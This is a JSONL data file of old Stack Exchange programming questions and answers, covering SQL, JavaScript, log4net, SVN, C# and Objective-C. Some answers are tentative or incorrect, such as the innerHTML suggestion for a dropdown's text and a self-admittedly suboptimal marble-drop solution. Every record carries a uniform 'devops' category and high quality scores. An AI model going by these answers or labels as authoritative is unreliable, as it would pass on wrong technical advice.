{"id": "hf_ab2be7dd8b00", "question": "<p>How do I escape the underscore character?</p>\n\n<p>I am writing something like the following where clause and want to be able to find actual entries with _d at the end.</p>\n\n<pre><code>Where Username Like '%_d'\n</code></pre>\n", "question_body": "", "answer": "T-SQL Reference for LIKE\n:\nYou can use the wildcard pattern matching characters as literal characters. To use a wildcard character as a literal character, enclose the wildcard character in brackets. The following table shows several examples of using the LIKE keyword and the [ ] wildcard characters.\nFor your case:\n```\n```\n... LIKE '%[_]d'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.763732"}
{"id": "hf_20dd74232922", "question": "<p>How do I turn the following 2 queries into 1 query</p>\n\n<pre><code>$sql    = \"SELECT level FROM skills WHERE id = $id LIMIT 1;\";\n$result = $db-&gt;sql_query($sql);\n$level  = (int) $db-&gt;sql_fetchfield('level');\n$db-&gt;sql_freeresult($result);\n\n++$level;\n\n$sql    = \"UPDATE skills SET level = $level WHERE id = $id;\";\n$result = $db-&gt;sql_query($sql);\n$db-&gt;sql_freeresult($result);\n</code></pre>\n\n<p>I'm using it in a phpBB mod but the gist is that I grab the level, add one to it then update, it seems that it'd be much easier and faster if I could do it as one query.</p>\n\n<p>Edit: <code>$id</code> has already been forced to be an integer, thus no escaping is needed this time.</p>\n", "question_body": "", "answer": "I get downmodded for this?\n```\n```\n$sql = \"UPDATE skills SET level = level+1 WHERE id = $id\";\n$result = $db->sql_query($sql);\n$db->sql_freeresult($result);\n```\n```\nIn Teifion's specific case, the phpBB DDL lists that particular field as NOT NULL, so there's no danger of incrementing NULL.\nIn the general case, you should not use NULL to represent zero.  Incrementing NULL\nshould\ngive an answer of NULL. If you're the kind of misguided developer who thinks NULL=0, step away from keyboard and find another pastime, you're just making life hard for the rest of us. Of course, this is the computer industry and who are we to say you're wrong? If you're not wrong, use\n```\n```\n$sql = \"UPDATE skills SET level = COALESCE(level,0)+1 WHERE id = $id\";\n```\n```\n...but let's face it: you're wrong. If everyone starts at level 0, then your DDL should include\n```\n```\nlevel INT DEFAULT '0' NOT NULL\n```\n```\nin case the programmers forget to set it when they create a record.  If not everyone starts on level 0, then skip the DEFAULT and force the programmer to supply a value on creation. If some people are beyond levels, for whom having a level is a meaningless thing, then adding one to their level equally has no meaning.  In that case, drop the NOT NULL from the DDL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.815301"}
{"id": "hf_c127dece0de7", "question": "<p>This gets the value of whatever is selected in my dropdown menu.</p>\n\n<pre><code>document.getElementById('newSkill').value\n</code></pre>\n\n<p>I cannot however find out what property to go after for the text that's currently displayed by the drop down menu. I tried \"text\" then looked at <a href=\"http://w3schools.com/\" rel=\"noreferrer\">W3Schools</a> but that didn't have the answer, does anybody here know?</p>\n\n<p>For those not sure, here's the HTML for a drop down box.</p>\n\n<pre><code>&lt;select name=\"newSkill\" id=\"newSkill\"&gt;\n    &lt;option value=\"1\"&gt;A skill&lt;/option&gt;\n    &lt;option value=\"2\"&gt;Another skill&lt;/option&gt;\n    &lt;option value=\"3\"&gt;Yet another skill&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n", "question_body": "", "answer": "Does this get the correct answer?\n```\n```\ndocument.getElementById(\"newSkill\").innerHTML\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.021144"}
{"id": "hf_fb17195ab032", "question": "<p>For those of you in the Visual Studio environment, how do you feel about wrapping any of your code in #regions?  (or if any other IDE has something similar...)</p>\n", "question_body": "", "answer": "I use\nTextmate\n(Mac only) which has Code folding and I find it really useful for folding functions, I know what my \"getGet\" function does, I don't need it taking up 10 lines of oh so valuable screen space.\nI never use it to hide a for loop, if statement or similar unless showing the code to someone else where I will hide code they have seen to avoid showing the same code twice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.047773"}
{"id": "hf_6f180b29a4ea", "question": "<p>Does anyone know why when using BindingUtils on the selectedItem property of a ComboBox you get the following warning? Any ideas how to resolve the issue?</p>\n\n<p>The binding still works properly, but it would be nice to get rid of the warning.</p>\n\n<pre><code>warning: multiple describeType entries for 'selectedItem' on type 'mx.controls::ComboBox':\n&lt;accessor name=\"selectedItem\" access=\"readwrite\" type=\"Object\" declaredBy=\"mx.controls::ComboBase\"&gt;\n  &lt;metadata name=\"Bindable\"&gt;\n    &lt;arg key=\"\" value=\"valueCommit\"/&gt;\n  &lt;/metadata&gt;\n</code></pre>\n", "question_body": "", "answer": "Here is the code. It is basically a copy of BindingUtils.bindProperty that is setup for a ComboBox so that both the combo box and the model are updated when either of the two change.\n```\n```\npublic static function bindProperty2(site:Object, prop:String, host:Object, chain:Object, commitOnly:Boolean = false):ChangeWatcher\n{\n    var cbx:ComboBox = null;\n    if ( site is ComboBox ) { cbx = ComboBox(site); }\n    if ( host is ComboBox ) { cbx = ComboBox(host); }\n    var labelField:String = \"listID\";\n    \n    var w:ChangeWatcher = ChangeWatcher.watch(host, chain, null, commitOnly);\n    \n    if (w != null)\n    {\n        var func:Function;\n        \n        if ( site is ComboBox )\n        {\n            func = function(event:*):void\n            {\n                var dp:ICollectionView = ICollectionView(site.dataProvider);\n                var selItem:Object = null;\n                \n                for ( var i:int=0; i<dp.length; i++ )\n                {\n                    var obj:Object = dp[i];\n                    if ( obj.hasOwnProperty(labelField) )\n                    {\n                        var val:String = String(obj[labelField]);\n                        if ( val == w.getValue() )\n                        {\n                            selItem = obj;\n                            break;\n                        }\n                    }\n                }\n                \n                site.selectedItem = selItem;\n            };\n                \n            w.setHandler(func);\n            func(null);\n        }\n        else\n        {\n            func = function(event:*):void\n            {\n                var value:Object = w.getValue();\n                if ( value == null )\n                {\n                    site[prop] = null;\n                }\n                else\n                {\n                    site[prop] = String(w.getValue()[labelField]);\n                }\n            };\n            w.setHandler(func);\n            func(null);\n        }\n    }\n    \n    return w;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.109157"}
{"id": "hf_8ae507f5afad", "question": "<p>If I have .Net Form with a component/object such as a textbox that I need to access from a parent or other form I obviously need to \"upgrade\" the modifier to this component to an Internal or Public level variable.</p>\n\n<p>Now, if I were providing a public variable of an int or string type etc. in my form class I wouldn't think twice about using Getters and (maybe) Setters around this, even if they didn't do anything other than provide direct access to the variable.</p>\n\n<p>However, the VS designer doesn't seem to implement such Getters/Setters for those public objects that are components on a form (and therefore does not comply with good programming practice).</p>\n\n<p>So, the question is; In order to do the \"right thing\" should I wrap such VS designer components or objects in a Getter and/or Setter?</p>\n", "question_body": "", "answer": "I always do that, and if you ARE following an MVP design creating getter/setters for your view components would be a design requirement.\nI do not understand what you mean by \"does not comply with good programming practice\". Microsoft violates\na lot\nof good programming practices to make it easier to create stuff on Visual Studio (for the sake of rapid app development) and I do not see the lack of getters/setters for controls as evidence of violating any such best practices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.133305"}
{"id": "hf_f67a77313244", "question": "<p>How do I make <a href=\"http://logging.apache.org/log4net/index.html\" rel=\"noreferrer\">Log4net</a> only log Info level logs? Is that even possible? Can you only set a threshold? </p>\n\n<p>This is what I have, and it logs Info and above as I would expect. Is there anything i can do to make it only log info?</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;logger name=\"BrokerCollection.Model.XmlDocumentCreationTask\"&gt;\n  &lt;appender-ref ref=\"SubmissionAppender\"/&gt;\n  &lt;level value=\"Info\" /&gt;\n&lt;/logger&gt;\n</code></pre>\n", "question_body": "", "answer": "Within the definition of the appender, I believe you can do something like this:\n```\n```\n<appender name=\"AdoNetAppender\" type=\"log4net.Appender.AdoNetAppender\">\n    <filter type=\"log4net.Filter.LevelRangeFilter\">\n        <param name=\"LevelMin\" value=\"INFO\"/>\n        <param name=\"LevelMax\" value=\"INFO\"/>\n    </filter>\n    ...\n</appender>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.163794"}
{"id": "hf_84ab74e9a161", "question": "<p>I'm using subclipse in Flex Builder 3, and recently received this error when trying to commit:</p>\n\n<p><code>svn: Checksum mismatch for '/Users/redacted/Documents/Flex Builder 3/path/to/my/file.mxml'; expected: 'f8cb275de72776657406154dd3c10348', actual: 'null'</code></p>\n\n<p>I worked around it by:</p>\n\n<ol>\n<li>Committing all the other changed files, omitting the troublesome one.</li>\n<li>Copying the contents of the trouble file to a TextMate window</li>\n<li>Deleting my project in FlexBuilder/Eclipse</li>\n<li>Checking my project out fresh from SVN</li>\n<li>Copying the text of the trouble file back in from the TextMate Window</li>\n<li>Committing the changes.</li>\n</ol>\n\n<p>It worked, but I can't help but think there's a better way. What's actaully happening to cause the svn:checksum error, and what's the best fix.</p>\n\n<p>Maybe more important -- is this a symptom of a greater problem?</p>\n", "question_body": "", "answer": "The file in the .svn directory that keeps track of what you have checked out, when, what revision, and from where, has gotten corrupted somehow, for that particular file.\nThis is no more dangerous or critical than the normal odd file problem, and can be because of various problems, like a subversion program dying mid-change, power-disruption, etc.\nUnless it happens more I wouldn't make much out of it.\nIt can be fixed by doing what you did, make a copy of your work-files, check out a fresh copy, and add the modified files back in.\nNote that this might cause problems if you have a busy project where you would normally have to merge in changes.\nFor instance, you and a collegue both check out a fresh copy, and start working on the same file. At some point, your collegue checks in his modifications. When you attempt to do the same, you get the checksum problem you have. If you now make copies of your changed files, do a fresh checkout, then subversion will lose track of how your changes should be merged back in.\nIf you didn't get the problem in this case, when you got around to checkin in your modifications, you would need to update your working copy first, and possibly handle a conflict with your file.\nHowever, if you do a fresh checkout, complete with your collegues changes, it now looks like you removed his changes and substituted with your own. No conflicts, and no indications from subversion that something is amiss.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.272391"}
{"id": "hf_983b412df624", "question": "<p>What kinds of hook scripts are people using for Subversion? Just general ideas but code would be great too!</p>\n", "question_body": "", "answer": "The most common one I think is to allow people to change revision comments after comitting.\nYou need to enable the 'pre-revprop-change' hook script to allow that. The example provided, if enabled allows editing only the comment property and only be the original comitter. Great for correcting typos.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.320824"}
{"id": "hf_2308184dbff8", "question": "<p>I'm looking for a .NET regular expression extract all the URLs from a webpage but haven't found one to be comprehensive enough to cover all the different ways you can specify a link. </p>\n\n<p>And a side question:</p>\n\n<p>Is there <strong>one regex to rule them all</strong>? Or am I better off using a series of less complicated regular expressions and just using mutliple passes against the raw HTML? (Speed vs. Maintainability)</p>\n", "question_body": "", "answer": "Look at the URI specification. That could help you a lot. And as far as performance goes, you can pretty much extract all the HTTP links in a modest web page. When I say modest I definitely do not mean one page all encompassing HTML manuals like that of ELisp manual. Also performance is a touchy topic. My advice would be to measure your performance and then decide if you are going to extract all the links using one single regex or with multiple simpler regex expressions.\nhttp://gbiv.com/protocols/uri/rfc/rfc3986.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.345293"}
{"id": "hf_3fddd194938c", "question": "<p>Given a string like this:</p>\n\n<blockquote>\n  <p>a,\"string, with\",various,\"values, and some\",quoted</p>\n</blockquote>\n\n<p>What is a good algorithm to split this based on commas while ignoring the commas inside the quoted sections?</p>\n\n<p>The output should be an array:</p>\n\n<blockquote>\n  <p>[ \"a\", \"string, with\", \"various\", \"values, and some\", \"quoted\" ]</p>\n</blockquote>\n", "question_body": "", "answer": "Of course using a CSV parser is better but just for the fun of it you could:\n```\n```\nLoop on the string letter by letter.\n    If current_letter == quote : \n        toggle inside_quote variable.\n    Else if (current_letter ==comma and not inside_quote) : \n        push current_word into array and clear current_word.\n    Else \n        append the current_letter to current_word\nWhen the loop is done push the current_word into array\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.411581"}
{"id": "hf_dac3e2fab2c3", "question": "<p>Is anyone successfully using the latest 64-bit Ganymede release of Eclipse on Windows XP or Vista 64-bit?</p>\n\n<p>Currently I run the normal Eclipse 3.4 distribution on a 32bit JDK and launch &amp; compile my apps with a 64bit JDK. Our previous experience has been that the 64bit Eclipse distro is unstable for us, so I'm curious if anyone is using it successfully.</p>\n\n<p>We are using JDK 1.6.0_05.</p>\n", "question_body": "", "answer": "I've been successfully using it on Vista x64 for some light Java work.  Nothing too involved and no extra plugins, but basic Java coding has been working without any issues.  I'm using the 3.4M7 build but it looks like the\n3.4 stable build\nsupports Vista x64 now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.447886"}
{"id": "hf_8dbf21d7d97c", "question": "<p>Why is <code>Array.Length</code> an int, and not a <code>uint</code>. This bothers me (just a bit) because a length value can never be negative. </p>\n\n<p>This also forced me to use an int for a length-property on my own class, because when you \nspecify an int-value, this needs to be cast explicitly...</p>\n\n<p>So the ultimate question is: is there any use for an unsigned int (<code>uint</code>)? Even Microsoft seems not to use them.</p>\n", "question_body": "", "answer": "Typically, integer values are signed, unless you explicitly need an unsigned value. It's just the way they are used. I may not agree with that choice, but that's just the way it is.\nFor the time being, with todays typical memory constraints, if your array or similar data structure needs an UInt32 length, you should consider other data structures.\nWith an array of bytes, Int32 will give you 2GB of values", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.483090"}
{"id": "hf_53f53fc0110b", "question": "<p>Why are unsigned integers not CLS compliant?</p>\n\n<p>I am starting to think the type specification is just for performance and not for correctness.</p>\n", "question_body": "", "answer": "Not all languages have the concept of unsigned ints. For example VB 6 had no concept of unsigned ints which I suspect drove the decision of the designers of VB7/7.1 not to implement as well (it's implemented now in VB8).\nTo quote:\nhttp://msdn.microsoft.com/en-us/library/12a7a7h3.aspx\nThe CLS was designed to be large enough to include the language\nconstructs that are commonly needed by developers, yet small enough\nthat most languages are able to support it. In addition, any language\nconstruct that makes it impossible to rapidly verify the type safety\nof code was excluded from the CLS so that all CLS-compliant languages\ncan produce verifiable code if they choose to do so.\nUpdate: I did wonder about this some years back, and whilst I can't see why a UInt wouldn't be type safety verifiable, I guess the CLS guys had to have a cut off point somewhere as to what would be the baseline minimum number of value types supported. Also when you think about the longer term where more and more languages are being ported to the CLR why force them to implement unsigned ints to gain CLS compliance if there is absolutely no concept, ever?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.505280"}
{"id": "hf_3dffac04fa79", "question": "<p>I have the following html.erb code that I'm looking to move to Haml:</p>\n\n<pre><code>&lt;span class=\"&lt;%= item.dashboardstatus.cssclass %&gt;\" &gt;&lt;%= item.dashboardstatus.status %&gt;&lt;/span&gt;\n</code></pre>\n\n<p>What it does is associate the CSS class of the currently assigned status to the span.</p>\n\n<p>How is this done in Haml? I'm sure I'm missing something really simple.</p>\n", "question_body": "", "answer": "Not sure. Maybe:\n```\n```\n%span{:class => item.dashboardstatus.cssclass }= item.dashboardstatus.status\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.528475"}
{"id": "hf_76e1b8882008", "question": "<p>So I have a Sybase stored proc that takes 1 parameter that's a comma separated list of strings and runs a query with in in an IN() clause:</p>\n\n<pre><code>CREATE PROCEDURE getSomething @keyList varchar(4096)\nAS\nSELECT * FROM mytbl WHERE name IN (@keyList)\n</code></pre>\n\n<p>How do I call my stored proc with more than 1 value in the list?\nSo far I've tried </p>\n\n<pre><code>exec getSomething 'John'         -- works but only 1 value\nexec getSomething 'John','Tom'   -- doesn't work - expects two variables\nexec getSomething \"'John','Tom'\" -- doesn't work - doesn't find anything\nexec getSomething '\"John\",\"Tom\"' -- doesn't work - doesn't find anything\nexec getSomething '\\'John\\',\\'Tom\\'' -- doesn't work - syntax error\n</code></pre>\n\n<p><strong>EDIT:</strong> I actually found this <a href=\"http://vyaskn.tripod.com/passing_arrays_to_stored_procedures.htm\" rel=\"noreferrer\">page</a> that has a great reference of the various ways to pas an array to a sproc</p>\n", "question_body": "", "answer": "Do you need to use a comma separated list? The last couple of years, I've been taking this type of idea and passing in an XML file. The openxml \"function\" takes a string and makes it like xml and then if you create a temp table with the data, it is queryable.\n```\n```\nDECLARE @idoc int\nDECLARE @doc varchar(1000)\nSET @doc ='\n<ROOT>\n<Customer CustomerID=\"VINET\" ContactName=\"Paul Henriot\">\n   <Order CustomerID=\"VINET\" EmployeeID=\"5\" OrderDate=\"1996-07-04T00:00:00\">\n      <OrderDetail OrderID=\"10248\" ProductID=\"11\" Quantity=\"12\"/>\n      <OrderDetail OrderID=\"10248\" ProductID=\"42\" Quantity=\"10\"/>\n   </Order>\n</Customer>\n<Customer CustomerID=\"LILAS\" ContactName=\"Carlos Gonzlez\">\n   <Order CustomerID=\"LILAS\" EmployeeID=\"3\" OrderDate=\"1996-08-16T00:00:00\">\n      <OrderDetail OrderID=\"10283\" ProductID=\"72\" Quantity=\"3\"/>\n   </Order>\n</Customer>\n</ROOT>'\n--Create an internal representation of the XML document.\nEXEC sp_xml_preparedocument @idoc OUTPUT, @doc\n-- Execute a SELECT statement that uses the OPENXML rowset provider.\nSELECT    *\nFROM       OPENXML (@idoc, '/ROOT/Customer',1)\n            WITH (CustomerID  varchar(10),\n                  ContactName varchar(20))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.562640"}
{"id": "hf_3aeb1fb180f4", "question": "<p>There are two popular closure styles in javascript. The first I call <em>anonymous constructor</em>:</p>\n\n<pre><code>new function() { \n  var code...\n}\n</code></pre>\n\n<p>and the <em>inline executed function</em>:</p>\n\n<pre><code>(function() {\n  var code...\n})();\n</code></pre>\n\n<p>are there differences in behaviour between those two? Is one \"better\" over the other?</p>\n", "question_body": "", "answer": "@Lance: the first one is also executing. Compare it with a named constructor:\n```\n```\nfunction Blah() {\n    alert('blah');\n}\nnew Bla();\n```\n```\nthis is actually also executing code. The same goes for the anonymous constructor...\nBut that was not the question ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.596648"}
{"id": "hf_c2458024d419", "question": "<p>In a C# (feel free to answer for other languages) loop, what's the difference between <code>break</code> and <code>continue</code> as a means to leave the structure of the loop, and go to the next iteration?</p>\n<p>Example:</p>\n<pre><code>foreach (DataRow row in myTable.Rows)\n{\n    if (someConditionEvalsToTrue)\n    {\n        break; //what's the difference between this and continue ?\n        //continue;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "```\nbreak\n```\nwould stop the\n```\nforeach\n```\nloop completely,\n```\ncontinue\n```\nwould skip to the next\n```\nDataRow\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.655191"}
{"id": "hf_be361230efd0", "question": "<p>I'm suddenly back to WinForms, after years of web development, and am having trouble  with something that should be simple.  I have an <code>ArrayList</code> of business objects bound to a  Windows Forms <code>DataGrid</code>.  I'd like the user to be able to edit the cells, and when finished,  press a Save button.  At that point I'd like to iterate the all the rows and columns in the  <code>DataGrid</code> to find any changes, and save them to the database.  But I can't find a way to  access the <code>DataGrid</code> rows.  </p>\n\n<p>I'll also want to validate individual cells real time, as they are edited, but I'm pretty  sure that can be done.  (Maybe not with an <code>ArrayList</code> as the <code>DataSource</code>?)  But as for iterating the <code>DataGrid</code>, I'm quite surprised it doesn't seem possible.</p>\n\n<p>Must I really stuff my business objects data into datatables in order to use the datagrid?  </p>\n", "question_body": "", "answer": "```\n```\nforeach(var row in DataGrid1.Rows)\n{\n  DoStuff(row);\n}\n//Or ---------------------------------------------   \nforeach(DataGridRow row in DataGrid1.Rows)\n{\n  DoStuff(row);\n}\n//Or ---------------------------------------------\nfor(int i = 0; i< DataGrid1.Rows.Count - 1; i++)\n{\n  DoStuff(DataGrid1.Rows[i]);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.678225"}
{"id": "hf_d306caa143b3", "question": "<p>One of those classic programming interview questions...</p>\n\n<p>You are given two marbles, and told that they will break when dropped from some certain height (and presumably suffer no damage if dropped from below that height). You’re then taken to a 100 story building (presumably higher than the certain height), and asked to find the highest floor your can drop a marble from without breaking it as efficiently as possible.</p>\n\n<p>Extra info</p>\n\n<ul>\n<li>You must find the correct floor (not a possible range)</li>\n<li>The marbles are both guaranteed to break at the same floor</li>\n<li>Assume it takes zero time for you to change floors - only the number of marble drops counts</li>\n<li>Assume the correct floor is randomly distributed in the building</li>\n</ul>\n", "question_body": "", "answer": "They each break when dropped from the same height, or are they different?\nIf they're the same, I go to the 50th floor and drop the first marble.  If it doesn't break, I go to the 75th floor and do the same, as long as it keeps not breaking I keep going up by 50% of what's left.  When it does break, I go back to one higher than where I was previously (so if it broke at the 75th floor I go back to the 51st floor) and drop the second marble and move up a floor at a time until it breaks, at which point I know the highest floor I can drop from with no marble breakage.\nProbably not the best answer, I'm curious to see how others answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.796433"}
{"id": "hf_adaffbfcec19", "question": "<p>It seems that a List object cannot be stored in a List variable in C#, and can't even be explicitly cast that way.</p>\n\n<pre><code>List&lt;string&gt; sl = new List&lt;string&gt;();\nList&lt;object&gt; ol;\nol = sl;\n</code></pre>\n\n<p>results in Cannot implicitly convert type <code>System.Collections.Generic.List&lt;string&gt;</code> to <code>System.Collections.Generic.List&lt;object&gt;</code></p>\n\n<p>And then...</p>\n\n<pre><code>List&lt;string&gt; sl = new List&lt;string&gt;();\nList&lt;object&gt; ol;\nol = (List&lt;object&gt;)sl;\n</code></pre>\n\n<p>results in Cannot convert type <code>System.Collections.Generic.List&lt;string&gt;</code> to <code>System.Collections.Generic.List&lt;object&gt;</code></p>\n\n<p>Of course, you can do it by pulling everything out of the string list and putting it back in one at a time, but it is a rather convoluted solution.</p>\n", "question_body": "", "answer": "The reason is that a generic class like\n```\nList<>\n```\nis, for most purposes, treated externally as a normal class. e.g. when you say\n```\nList<string>()\n```\nthe compiler says\n```\nListString()\n```\n(which contains strings). [Technical folk: this is an extremely plain-English-ified version of what's going on]\nConsequently, obviously the compiler can't be smart enough to convert a ListString to a ListObject by casting the items of its internal collection.\nThat's why there's extension methods for IEnumerable like Convert() that allow you to easily supply conversion for the items stored inside a collection, which could be as simple as casting from one to another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.819580"}
{"id": "hf_79e3a8932b3a", "question": "<p>I'm just beginning to have a look at Objective-C and Cocoa with a view to playing with the iPhone SDK. I'm reasonably comfortable with C's <code>malloc</code> and <code>free</code> concept, but Cocoa's references counting scheme has me rather confused. I'm told it's very elegant once you understand it, but I'm just not over the hump yet.</p>\n\n<p>How do <code>release</code>, <code>retain</code> and <code>autorelease</code> work and what are the conventions about their use?</p>\n\n<p>(Or failing that, what did you read which helped you get it?)</p>\n", "question_body": "", "answer": "Objective-C uses\nReference Counting\n, which means each Object has a reference count. When an object is created, it has a reference count of \"1\". Simply speaking, when an object is referred to (ie, stored somewhere), it gets \"retained\" which means its reference count is increased by one. When an object is no longer needed, it is \"released\" which means its reference count is decreased by one.\nWhen an object's reference count is 0, the object is freed. This is basic reference counting.\nFor some languages, references are automatically increased and decreased, but objective-c is not one of those languages. Thus the programmer is responsible for retaining and releasing.\nA typical way to write a method is:\n```\n```\nid myVar = [someObject someMessage];\n.... do something ....;\n[myVar release];\nreturn someValue;\n```\n```\nThe problem of needing to remember to release any acquired resources inside of code is both tedious and error-prone. Objective-C introduces another concept aimed at making this much easier: Autorelease Pools. Autorelease pools are special objects that are installed on each thread. They are a fairly simple class, if you look up NSAutoreleasePool.\nWhen an object gets an \"autorelease\" message sent to it, the object will look for any autorelease pools sitting on the stack for this current thread. It will add the object to the list as an object to send a \"release\" message to at some point in the future, which is generally when the pool itself is released.\nTaking the code above, you can rewrite it to be shorter and easier to read by saying:\n```\n```\nid myVar = [[someObject someMessage] autorelease];\n... do something ...;\nreturn someValue;\n```\n```\nBecause the object is autoreleased, we no longer need to explicitly call \"release\" on it. This is because we know some autorelease pool will do it for us later.\nHopefully this helps. The Wikipedia article is pretty good about reference counting. More information about\nautorelease pools can be found here\n. Also note that if you are building for Mac OS X 10.5 and later, you can tell Xcode to build with garbage collection enabled, allowing you to completely ignore retain/release/autorelease.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.841195"}
{"id": "hf_5a1e0099eb6c", "question": "<p>I'm a new Windows programmer and I'm not sure where I should store user configurable application settings.  I understand the need to provide a user friendly means for the user to change application settings, like an Edit | Settings form or similar.  But where should I store the values after the user hits the Apply button on that form?  </p>\n\n<p>What are the pros and cons of storing settings in the Windows registry vs. storing them in a local INI file or config file or similar?</p>\n", "question_body": "", "answer": "Pros of config file:\nEasy to do. Don't need to know any Windows API calls. You just need to know the file I/O interface of your programming language.\nPortable. If you port your application to another OS, you don't need to change your settings format.\nUser-editable. The user can edit the config file outside of the program executing.\nPros of registry:\nSecure. The user can't accidentally delete the config file or corrupt the data unless he/she knows about regedit. And then the user is just asking for trouble.\nI'm no expert Windows programmer, but I'm sure that using the registry makes it easier to do other Windows-specific things (user-specific settings, network administration stuff like group policy, or whatever else).\nIf you just need a simple way to store config information, I would recommend a config file, using INI or XML as the format. I suggest using the registry only if there is something specific you want to get out of using the registry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.888642"}
